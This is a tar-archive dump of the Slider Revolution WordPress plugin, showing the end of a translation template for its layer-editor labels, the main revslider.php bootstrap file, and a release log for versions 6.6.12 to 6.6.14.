exist" msgstr "" #: admin/views/builder-layer-forms.php:202 msgid "HTML5 Video" msgstr "" #: admin/views/builder-layer-forms.php:208 msgid "Video ID" msgstr "" #: admin/views/builder-layer-forms.php:209 msgid "Enter Video ID" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "Preload" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "auto" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "Meta Data" msgstr "" #: admin/views/builder-layer-forms.php:230 msgid "Skip Preload" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "16:9" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "4:3" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "1.85:1" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "2.39:1" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "Auto Play" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "Only 1st Time Slide shown" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "On - Skip 1st Time Slide" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "No Loop" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Pause Slide" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Do Not Pause Slide" msgstr "" #: admin/views/builder-layer-forms.php:250 msgid "Media Poster" msgstr "" #: admin/views/builder-layer-forms.php:252 msgid "Poster from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:255 msgid "YouTube Thumb" msgstr "" #: admin/views/builder-layer-forms.php:259 msgid "Vimeo Thumb" msgstr "" #: admin/views/builder-layer-forms.php:264 msgid "From Stream" msgstr "" #: admin/views/builder-layer-forms.php:265 msgid "Remove Poster" msgstr "" #: admin/views/builder-layer-forms.php:267 msgid "Poster in Pause" msgstr "" #: admin/views/builder-layer-forms.php:268 msgid "No Poster on Mobile" msgstr "" #: admin/views/builder-layer-forms.php:269 msgid "Only Poster on Mobile" msgstr "" #: admin/views/builder-layer-forms.php:274 msgid "Advenced Media Settings" msgstr "" #: admin/views/builder-layer-forms.php:276 msgid "Stop Other Media" msgstr "" #: admin/views/builder-layer-forms.php:277 msgid "Allow Fullscreen" msgstr "" #: admin/views/builder-layer-forms.php:280 msgid "No Interaction" msgstr "" #: admin/views/builder-layer-forms.php:282 msgid "Controls" msgstr "" #: admin/views/builder-layer-forms.php:283 msgid "Large Controls" msgstr "" #: admin/views/builder-layer-forms.php:285 msgid "Inline Mode" msgstr "" #: admin/views/builder-layer-forms.php:289 msgid "Media Volume (0-100)" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "1/4" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "1/2" msgstr "" #: admin/views/builder-layer-forms.php:290 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Normal" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "x1.5" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "x2" msgstr "" #: admin/views/builder-layer-forms.php:293 msgid "i.e. 0:15" msgstr "" #: admin/views/builder-layer-forms.php:294 msgid "i.e. 2:41" msgstr "" #: admin/views/builder-layer-forms.php:315 msgid "Shape Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:322 msgid "Display Mode in Column" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Display" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Block" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Inline-Block" msgstr "" #: admin/views/builder-layer-forms.php:325 msgid "Float" msgstr "" #: admin/views/builder-layer-forms.php:326 msgid "Clear" msgstr "" #: admin/views/builder-layer-forms.php:328 msgid "Add LineBreak Before" msgstr "" #: admin/views/builder-layer-forms.php:329 msgid "Add LineBreak After" msgstr "" #: admin/views/builder-layer-forms.php:335 msgid "HTML Tag" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "Wrapping Tag" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<rs-layer>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<p>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h1>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h2>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h3>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h4>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h5>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h6>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<span>" msgstr "" #: admin/views/builder-layer-forms.php:350 #: admin/views/builder-layer-forms.php:355 msgid "Global Layer Settings" msgstr "" #: admin/views/builder-layer-forms.php:357 msgid "Layer is Global" msgstr "" #: admin/views/builder-layer-forms.php:372 #: admin/views/builder-layer-forms.php:375 msgid "Responsive Behavior" msgstr "" #: admin/views/builder-layer-forms.php:383 msgid "Resize Between Devices" msgstr "" #: admin/views/builder-layer-forms.php:405 msgid "Hide \"Under\" Width" msgstr "" #: admin/views/builder-layer-forms.php:406 msgid "Show if mouse over Slider" msgstr "" #: admin/views/builder-layer-forms.php:415 #: admin/views/builder-layer-forms.php:418 #: admin/views/builder-layer-forms.php:433 msgid "Position & Size" msgstr "" #: admin/views/builder-layer-forms.php:420 #: admin/views/builder-layer-forms.php:479 msgid "Additional" msgstr "" #: admin/views/builder-layer-forms.php:426 msgid "No options available for your current selection." msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Size Presets" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Custom Size" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Full Width" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Full Height" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Stretch" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Cover" msgstr "" #: admin/views/builder-layer-forms.php:466 msgid "Layer Align" msgstr "" #: admin/views/builder-layer-forms.php:468 msgid "Layer Area" msgstr "" #: admin/views/builder-layer-forms.php:504 msgid "Font" msgstr "" #: admin/views/builder-layer-forms.php:509 msgid "Font & Icon" msgstr "" #: admin/views/builder-layer-forms.php:519 msgid "More" msgstr "" #: admin/views/builder-layer-forms.php:519 msgid "Less" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Underline" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Overline" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Line-through" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Uppercase" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Lowercase" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Capitalize" msgstr "" #: admin/views/builder-layer-forms.php:528 msgid "Selectable" msgstr "" #: admin/views/builder-layer-forms.php:528 msgid "Unselectable" msgstr "" #: admin/views/builder-layer-forms.php:533 #: admin/views/builder-layer-forms.php:987 msgid "Text Color" msgstr "" #: admin/views/builder-layer-forms.php:534 msgid "Color in Frame" msgstr "" #: admin/views/builder-layer-forms.php:546 #: admin/views/builder-layer-forms.php:1000 msgid "SVG Color" msgstr "" #: admin/views/builder-layer-forms.php:547 #: admin/views/builder-layer-forms.php:1001 msgid "Stroke Color" msgstr "" #: admin/views/builder-layer-forms.php:565 msgid "BG in Frame" msgstr "" #: admin/views/builder-layer-forms.php:609 msgid "Spacings" msgstr "" #: admin/views/builder-layer-forms.php:631 msgid "Inherit" msgstr "" #: admin/views/builder-layer-forms.php:632 msgid "Middle" msgstr "" #: admin/views/builder-layer-forms.php:642 msgid "Border" msgstr "" #: admin/views/builder-layer-forms.php:645 #: admin/views/builder-layer-forms.php:1025 msgid "Border Color" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Border Style" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Solid" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dashed" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dotted" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Double" msgstr "" #: admin/views/builder-layer-forms.php:684 msgid "Basic Transforms" msgstr "" #: admin/views/builder-layer-forms.php:700 msgid "Box Shadow" msgstr "" #: admin/views/builder-layer-forms.php:703 #: admin/views/builder-layer-forms.php:732 #: admin/views/builder-layer-forms.php:1568 msgid "Effect" msgstr "" #: admin/views/builder-layer-forms.php:707 msgid "Shadow on" msgstr "" #: admin/views/builder-layer-forms.php:709 msgid "Wrapper Container" msgstr "" #: admin/views/builder-layer-forms.php:710 msgid "Layer Container" msgstr "" #: admin/views/builder-layer-forms.php:723 #: admin/views/builder-layer-forms.php:743 msgid "Shadow Color" msgstr "" #: admin/views/builder-layer-forms.php:729 msgid "Text Shadow" msgstr "" #: admin/views/builder-layer-forms.php:749 msgid "Blend Mode" msgstr "" #: admin/views/builder-layer-forms.php:754 msgid "Can not be rendered in Editor. Please preview in Frontend." msgstr "" #: admin/views/builder-layer-forms.php:757 msgid "Show in Editor" msgstr "" #: admin/views/builder-layer-forms.php:765 msgid "Spike Masks" msgstr "" #: admin/views/builder-layer-forms.php:768 msgid "Enable Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 msgid "Left Spike" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "No Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Top" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Middle" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Bottom" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Two Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Three Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Four Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Five Spikes" msgstr "" #: admin/views/builder-layer-forms.php:771 #: admin/views/builder-layer-forms.php:773 msgid "Spike Width" msgstr "" #: admin/views/builder-layer-forms.php:772 msgid "Right Spike" msgstr "" #: admin/views/builder-layer-forms.php:780 msgid "Sharp Corner Extensions" msgstr "" #: admin/views/builder-layer-forms.php:783 msgid "Left Corner" msgstr "" #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "No Corner" msgstr "" #: admin/views/builder-layer-forms.php:784 msgid "Right Corner" msgstr "" #: admin/views/builder-layer-forms.php:813 msgid "Parallax & 3D" msgstr "" #: admin/views/builder-layer-forms.php:815 msgid "Level" msgstr "" #: admin/views/builder-layer-forms.php:833 msgid "Under Mask" msgstr "" #: admin/views/builder-layer-forms.php:836 msgid "Attach to BG" msgstr "" #: admin/views/builder-layer-forms.php:844 msgid "Timeline Scroll Based" msgstr "" #: admin/views/builder-layer-forms.php:846 #: admin/views/builder-layer-forms.php:859 msgid "Handling" msgstr "" #: admin/views/builder-layer-forms.php:847 #: admin/views/builder-layer-forms.php:860 msgid "Default (Global Settings)" msgstr "" #: admin/views/builder-layer-forms.php:851 msgid "Start Earlier" msgstr "" #: admin/views/builder-layer-forms.php:857 msgid "Filter Effect Scroll Based" msgstr "" #: admin/views/builder-layer-forms.php:878 msgid "Layer ID" msgstr "" #: admin/views/builder-layer-forms.php:879 #: admin/views/builder-layer-forms.php:885 msgid "Classes" msgstr "" #: admin/views/builder-layer-forms.php:881 msgid "Rel" msgstr "" #: admin/views/builder-layer-forms.php:882 msgid "TabIndex" msgstr "" #: admin/views/builder-layer-forms.php:884 msgid "Wrapper ID" msgstr "" #: admin/views/builder-layer-forms.php:896 msgid "Custom Inline & Hover CSS" msgstr "" #: admin/views/builder-layer-forms.php:899 #: admin/views/builder-layer-forms.php:903 msgid "CustomCSS" msgstr "" #: admin/views/builder-layer-forms.php:909 msgid "" "Depricated Function !
            Only visible by Rendering. Limited influence on " "Styled Layers. Custom CSS Inline will be removed in Version 6.2" msgstr "" #: admin/views/builder-layer-forms.php:929 msgid "Reset Style" msgstr "" #: admin/views/builder-layer-forms.php:931 msgid "Cursor" msgstr "" #: admin/views/builder-layer-forms.php:932 msgid "Pointer Event" msgstr "" #: admin/views/builder-layer-forms.php:934 #: admin/views/builder-layer-forms.php:1169 msgid "Mask" msgstr "" #: admin/views/builder-layer-forms.php:942 msgid "Hover Transform" msgstr "" #: admin/views/builder-layer-forms.php:949 msgid "zIndex" msgstr "" #: admin/views/builder-layer-forms.php:984 msgid "Font Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:997 msgid "SVG Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:1015 msgid "Background Hover" msgstr "" #: admin/views/builder-layer-forms.php:1023 msgid "Border Hover" msgstr "" #: admin/views/builder-layer-forms.php:1054 msgid "Filter Hover" msgstr "" #: admin/views/builder-layer-forms.php:1105 msgid "Keyframes" msgstr "" #: admin/views/builder-layer-forms.php:1115 msgid "Set as Editor View" msgstr "" #: admin/views/builder-layer-forms.php:1126 #: admin/views/builder-layer-forms.php:1299 msgid "Basics" msgstr "" #: admin/views/builder-layer-forms.php:1131 msgid "Frame Alias" msgstr "" #: admin/views/builder-layer-forms.php:1138 msgid "Wait for Action" msgstr "" #: admin/views/builder-layer-forms.php:1145 msgid "Force Prepare" msgstr "" #: admin/views/builder-layer-forms.php:1152 msgid "Reverse \"IN\"" msgstr "" #: admin/views/builder-layer-forms.php:1165 msgid "Layer" msgstr "" #: admin/views/builder-layer-forms.php:1166 msgid "Char" msgstr "" #: admin/views/builder-layer-forms.php:1167 msgid "Word" msgstr "" #: admin/views/builder-layer-forms.php:1168 msgid "Line" msgstr "" #: admin/views/builder-layer-forms.php:1171 msgid "SFX" msgstr "" #: admin/views/builder-layer-forms.php:1215 #: admin/views/builder-layer-forms.php:1385 #: admin/views/builder-layer-forms.php:1455 #: admin/views/builder-layer-forms.php:1525 #: admin/views/builder-layer-forms.php:1665 msgid "Filter" msgstr "" #: admin/views/builder-layer-forms.php:1226 #: admin/views/builder-layer-forms.php:1257 #: admin/views/builder-layer-forms.php:1395 #: admin/views/builder-layer-forms.php:1465 #: admin/views/builder-layer-forms.php:1535 msgid "Slide Direction based Mirroring" msgstr "" #: admin/views/builder-layer-forms.php:1250 msgid "Use Masking" msgstr "" #: admin/views/builder-layer-forms.php:1267 msgid "Use Clip Path" msgstr "" #: admin/views/builder-layer-forms.php:1270 msgid "Rectangle" msgstr "" #: admin/views/builder-layer-forms.php:1271 msgid "Circle" msgstr "" #: admin/views/builder-layer-forms.php:1272 msgid "Inverts" msgstr "" #: admin/views/builder-layer-forms.php:1274 msgid "Origin" msgstr "" #: admin/views/builder-layer-forms.php:1285 msgid "Diagonal From" msgstr "" #: admin/views/builder-layer-forms.php:1286 #: admin/views/builder-layer-forms.php:1311 #: admin/views/builder-layer-forms.php:1328 msgid "Left Top" msgstr "" #: admin/views/builder-layer-forms.php:1287 #: admin/views/builder-layer-forms.php:1312 #: admin/views/builder-layer-forms.php:1329 msgid "Right Top" msgstr "" #: admin/views/builder-layer-forms.php:1288 #: admin/views/builder-layer-forms.php:1313 #: admin/views/builder-layer-forms.php:1330 msgid "Right Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1289 #: admin/views/builder-layer-forms.php:1314 #: admin/views/builder-layer-forms.php:1331 msgid "Left Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1291 msgid "Center Diagonal" msgstr "" #: admin/views/builder-layer-forms.php:1292 msgid "Center - Left Right" msgstr "" #: admin/views/builder-layer-forms.php:1293 #: admin/views/builder-layer-forms.php:1315 #: admin/views/builder-layer-forms.php:1332 msgid "Center - Right Left" msgstr "" #: admin/views/builder-layer-forms.php:1294 #: admin/views/builder-layer-forms.php:1302 #: admin/views/builder-layer-forms.php:1320 msgid "Invert Horizontal" msgstr "" #: admin/views/builder-layer-forms.php:1295 #: admin/views/builder-layer-forms.php:1303 #: admin/views/builder-layer-forms.php:1319 msgid "Invert Vertical" msgstr "" #: admin/views/builder-layer-forms.php:1310 msgid "Corners" msgstr "" #: admin/views/builder-layer-forms.php:1341 msgid "Split Chars" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Forward" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Backward" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Middle To Edge" msgstr "" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Edge to Middle" msgstr "" #: admin/views/builder-layer-forms.php:1411 msgid "Split Words" msgstr "" #: admin/views/builder-layer-forms.php:1481 msgid "Split Lines" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "No Special Effect" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Left" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Right" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Top" msgstr "" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Bottom" msgstr "" #: admin/views/builder-layer-forms.php:1570 msgid "Block Color" msgstr "" #: admin/views/builder-layer-forms.php:1592 msgid "Layer Loop Animations" msgstr "" #: admin/views/builder-layer-forms.php:1599 msgid "Enable Timeline Loops" msgstr "" #: admin/views/builder-layer-forms.php:1602 msgid "Enable Loop Effects" msgstr "" #: admin/views/builder-layer-forms.php:1612 msgid "Layer Timline Loop" msgstr "" #: admin/views/builder-layer-forms.php:1614 msgid "Start Frame" msgstr "" #: admin/views/builder-layer-forms.php:1615 msgid "End Frame" msgstr "" #: admin/views/builder-layer-forms.php:1616 msgid "Loop Amount" msgstr "" #: admin/views/builder-layer-forms.php:1617 msgid "Animate to \"Start\" in Loop" msgstr "" #: admin/views/builder-layer-forms.php:1618 msgid "Reset Children Timeline" msgstr "" #: admin/views/builder-layer-forms.php:1623 msgid "" "Restriction !
            Children Layers of Group, Column and Row will simply " "restart, without animation from the last loop Frame to first loop frame, " "independent of the Animate to \"start\" in Loop enabled option." msgstr "" #: admin/views/builder-layer-forms.php:1636 msgid "Layer Looping Effects" msgstr "" #: admin/views/builder-layer-forms.php:1640 msgid "Load Loop Template" msgstr "" #: admin/views/builder-layer-forms.php:1662 msgid "Move" msgstr "" #: admin/views/builder-layer-forms.php:1664 msgid "Rotate" msgstr "" #: admin/views/builder-layer-forms.php:1671 msgid "Yoyo" msgstr "" #: admin/views/builder-layer-forms.php:1685 msgid "Curved" msgstr "" #: admin/views/builder-layer-forms.php:1687 msgid "Auto Rotate" msgstr "" #: admin/views/builder-layer-forms.php:1772 #: admin/views/builder-layer-forms.php:1776 msgid "Presets" msgstr "" #: admin/includes/shortcode_generator/shortcode_generator.class.php:215 msgid "Revolution Slider 6" msgstr "" #. Author of the plugin #: admin/includes/shortcode_generator/gutenberg/gutenberg-block.php:56 msgid "ThemePunch" msgstr "" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:49 msgid "Slider Revolution:" msgstr "" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:72 msgid "Select / Edit Slider" msgstr "" #. Description of the plugin msgid "Slider Revolution - Premium responsive slider" msgstr "" #. URI of the plugin msgid "https://www.sliderrevolution.com/" msgstr "" #. Author URI of the plugin msgid "https://themepunch.com/" msgstr "" revslider.php000060400000024357151724235750007276 0ustar00 array(), 'loaded' => array()); $revslider_is_preview_mode = false; $revslider_save_post = false; $rs_loaded_by_editor = false; $revslider_addon_notice_merged = 0; $revslider_animations = array(); //include framework files require_once(RS_PLUGIN_PATH . 'includes/data.class.php'); require_once(RS_PLUGIN_PATH . 'includes/functions.class.php'); require_once(RS_PLUGIN_PATH . 'includes/cache.class.php'); require_once(RS_PLUGIN_PATH . 'includes/em-integration.class.php'); require_once(RS_PLUGIN_PATH . 'includes/cssparser.class.php'); require_once(RS_PLUGIN_PATH . 'includes/woocommerce.class.php'); require_once(RS_PLUGIN_PATH . 'includes/wpml.class.php'); require_once(RS_PLUGIN_PATH . 'includes/colorpicker.class.php'); require_once(RS_PLUGIN_PATH . 'includes/navigation.class.php'); require_once(RS_PLUGIN_PATH . 'includes/object-library.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/loadbalancer.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/plugin-update.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/widget.class.php'); require_once(RS_PLUGIN_PATH . 'includes/extension.class.php'); require_once(RS_PLUGIN_PATH . 'includes/favorite.class.php'); require_once(RS_PLUGIN_PATH . 'includes/aq-resizer.class.php'); require_once(RS_PLUGIN_PATH . 'includes/page-template.class.php'); require_once(RS_PLUGIN_PATH . 'includes/EspressoDev/InstagramBasicDisplayException.php'); require_once(RS_PLUGIN_PATH . 'includes/EspressoDev/InstagramBasicDisplay.php'); require_once(RS_PLUGIN_PATH . 'includes/external/facebook.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/flickr.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/instagram.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/twitter.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/vimeo.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/youtube.class.php'); require_once(RS_PLUGIN_PATH . 'includes/slider.class.php'); require_once(RS_PLUGIN_PATH . 'includes/slide.class.php'); require_once(RS_PLUGIN_PATH . 'includes/output.class.php'); require_once(RS_PLUGIN_PATH . 'public/revslider-front.class.php'); require_once(RS_PLUGIN_PATH . 'includes/globals.class.php'); require_once(RS_PLUGIN_PATH . 'includes/backwards.php'); //divi require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/divi/revslider-divi.php'); try{ RevSliderFunctions::set_memory_limit(); function rev_slider_shortcode($args, $mid_content = null){ //do not render in elementor preview iframe if (isset($_GET['elementor-preview'])) return false; //do not render on saving a post/page global $revslider_save_post; if($revslider_save_post) return false; //skip shortcode generation if any of these functions found in backtrace //function can be provided as array item without key //or as 'class' => 'function' $skip_functions = apply_filters( 'rs_shortcode_skip_functions', array( 'WC_Structured_Data' => 'generate_product_data', // woocommerce 'AIOSEO\Plugin\Common\Meta\Description' => 'getDescription', // all-in-one-seo //'Elementor\Core\Editor\Editor' => 'print_editor_template', // elementor ) ); $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); foreach ($backtrace as $trace) { foreach ($skip_functions as $class => $func) { if ($trace['function'] == $func) { //no class was provided, func matched, return if (!is_string($class)) return false; //class provided in key, compare with trace class if (isset($trace['class']) && $trace['class'] == $class) return false; } } } $output = new RevSliderOutput(); if(is_admin() && $output->_is_gutenberg_page()) return false; $sc_attr = shortcode_atts( array( 'alias' => '', 'settings' => '', 'order' => '', 'usage' => '', 'modal' => '', 'layout' => '', 'offset' => '', 'skin' => '', 'zindex' => '', ), $args, 'rev_slider' ); $slider_alias = ($sc_attr['alias'] != '') ? $sc_attr['alias'] : $output->get_val($args, 0); //backwards compatibility //this fixes an issue with the Visual Composer extension if(empty($slider_alias)){ return (function_exists('is_user_logged_in') && is_user_logged_in()) ? '
            ' : ''; } $output->set_custom_order($sc_attr['order']); $output->set_custom_settings($sc_attr['settings']); $output->set_custom_skin($sc_attr['skin']); $gallery_ids = $output->check_for_shortcodes($mid_content); //check for example on gallery shortcode and do stuff if($gallery_ids !== false) $output->set_gallery_ids($gallery_ids); ob_start(); $slider = $output->add_slider_to_stage( $slider_alias, $sc_attr['usage'], $sc_attr['layout'], $sc_attr['offset'], $sc_attr['modal'] ); $content = ob_get_contents(); ob_clean(); ob_end_clean(); if(!empty($sc_attr['zindex'])){ $content = '
            ' .$content. '
            '; } if(!empty($slider)){ switch($slider->get_param(array('troubleshooting', 'outPutFilter'), '')){ case 'compress': $content = str_replace(array("\n", "\r"), '', $content); return $content; case 'echo': global $revslider_save_post; if($revslider_save_post) return $content; echo $content; //bypass the filters break; default: return $content; } }else{ return $content; } } $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $rslb->refresh_server_list(); add_shortcode('rev_slider', 'rev_slider_shortcode'); add_action('save_post', array('RevSliderFront', 'set_post_saving')); add_action('widgets_init', array('RevSliderWidget', 'register_widget')); if(is_admin()){ require_once(RS_PLUGIN_PATH . 'admin/includes/license.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/addons.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/template.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/functions-admin.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/folder.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/import.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/export.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/export-html.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/newsletter.class.php'); require_once(RS_PLUGIN_PATH . 'admin/revslider-admin.class.php'); require_once(RS_PLUGIN_PATH . 'includes/update.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/tracking.class.php'); //require_once(RS_PLUGIN_PATH . 'admin/includes/debug.php'); $rstrack = new RevSliderTracking(); $rs_admin = new RevSliderAdmin(); }else{ require_once(RS_PLUGIN_PATH . 'public/includes/functions-public.class.php'); /** * add RevSlider to the page/post */ function putRevSlider($data, $put_in = ''){ add_revslider($data, $put_in); } function add_revslider($data, $put_in = ''){ $output = new RevSliderOutput(); $g_values = $output->get_global_settings(); $add_to = $output->get_val($g_values, 'includeids', ''); $output->set_add_to($add_to); if($output->check_add_to(true) == false && $output->_truefalse($output->get_val($g_values, 'allinclude', true)) == false){ $output->print_error_message( __('If you want to use the PHP function "add_revslider" in your code please make sure to activate ', 'revslider'). __('"Include RevSlider libraries globally" ', 'revslider'). __('and/or add the current page to the ', 'revslider'). __('"Pages to include RevSlider libraries" option ', 'revslider'). __('in the "Global Settings" of Slider Revolution.', 'revslider') ); return false; } ob_start(); $output->set_add_to($put_in); $slider = $output->add_slider_to_stage($data); $content = ob_get_contents(); ob_clean(); ob_end_clean(); echo $content; } $rev_slider_front = new RevSliderFront(); } register_activation_hook(__FILE__, array('RevSliderFront', 'create_tables')); register_activation_hook(__FILE__, array('RevSliderFront', 'welcome_screen_activate')); add_action('plugins_loaded', array('RevSliderFront', 'create_tables')); add_action('plugins_loaded', array('RevSliderPluginUpdate', 'do_update_checks')); //add update checks add_action('plugins_loaded', array('RevSliderPageTemplate', 'get_instance')); add_action('plugins_loaded', array('RevSliderFront', 'add_post_editor')); add_filter('wpseo_sitemap_entry', array('RevSliderFront', 'get_images_for_seo'), 10, 3); }catch(Exception $e){ $message = $e->getMessage(); //$trace = $e->getTraceAsString(); echo _e('Revolution Slider Error:', 'revslider').' '. esc_html($message) .''; } function get_rs_plugin_url(){ $url = str_replace('index.php', '', plugins_url('index.php', __FILE__ )); if(strpos($url, 'http') === false) { $site_url = get_site_url(); $url = (substr($site_url, -1) === '/') ? substr($site_url, 0, -1). $url : $site_url. $url; } $url = str_replace(array(chr(10), chr(13)), '', $url); return $url; } release_log.html000060400000446503151724235750007736 0ustar00

            Version 6.6.14 (30th May 2023)

            Changes
            • Backend: Whenever an empty folder is reopened, it will now automatically be reconnected to the root directory.
            • Backend: Now, when opening an empty folder, a brief breadcrumb will be displayed to explain its empty status.
            • Updated google fonts list
            Bugfixes
            • Changed ajax call request name for the backend as the OWASP Core Ruleset does not allow the use of the old name
            • Carousel jumps to wrong slide while navigating if slider is different height slides
            • Opening modal with specific slide doesn't work correctly on carousel slider
            • Setting the zIndex value to "Auto" on hover resulted in a zIndex of 500, inadvertently leading to overlap with other areas.
            • Editor: When the background color of a module is changed, it doesn't update live to reflect the selected color. The background color only updates after the color picker modal is closed.
            • Backend: Action references on global layers originating from slides other than the global slide are non-functional. Selecting any layer from global slides consequently results in the removal of the action from the list.
            • SFX Block Layer transition only fades in Safari

            Version 6.6.13 (4th May 2023)

            New Features
            • Module Creation Guide: New Content Editing Guide modal will be displayed on creating new module that will provide you links to and videos to guide you through settings and features to create new modules
            • Template Editing Guide: New Template Editing Guide modal will be displayed when you are editing premium template, it will feature links to articles that explain only the features that are used in the template.
            • Global Settings: Global settings are added to enable disable guide modals
            Bugfixes
            • Carousel opacity has issues rendering on PHP 8.x
            • Settings sticky bar label displays "undefined" on right side
            • Modal Countdown is not stopping after closing modal, which breaks any further opening of Modal
            • Blend Mode is not working on complex canvas animations
            • Editor: sometimes layout settings fields are empty on loading editor
            • Preview doesn't work in backend if Yoast SEO is enabled
            • Blend mode does not work during transition
            • Improved security for manual imports
            • Layers disappear on safari during transition in Carousel Module

            Version 6.6.12 (29th March 2023)

            Bugfixes
            • Some AddOn kills references on image loading. Further protection needed on internal lazy loading
            • Background images don't scale correctly in carousel when switching to fullscreen mode
            • Resetting the size of shapes or images in the editor adds double "px" to the values
            • Global layers do leave the stage on earlier slide if the layer is not animating out at the end of the slide
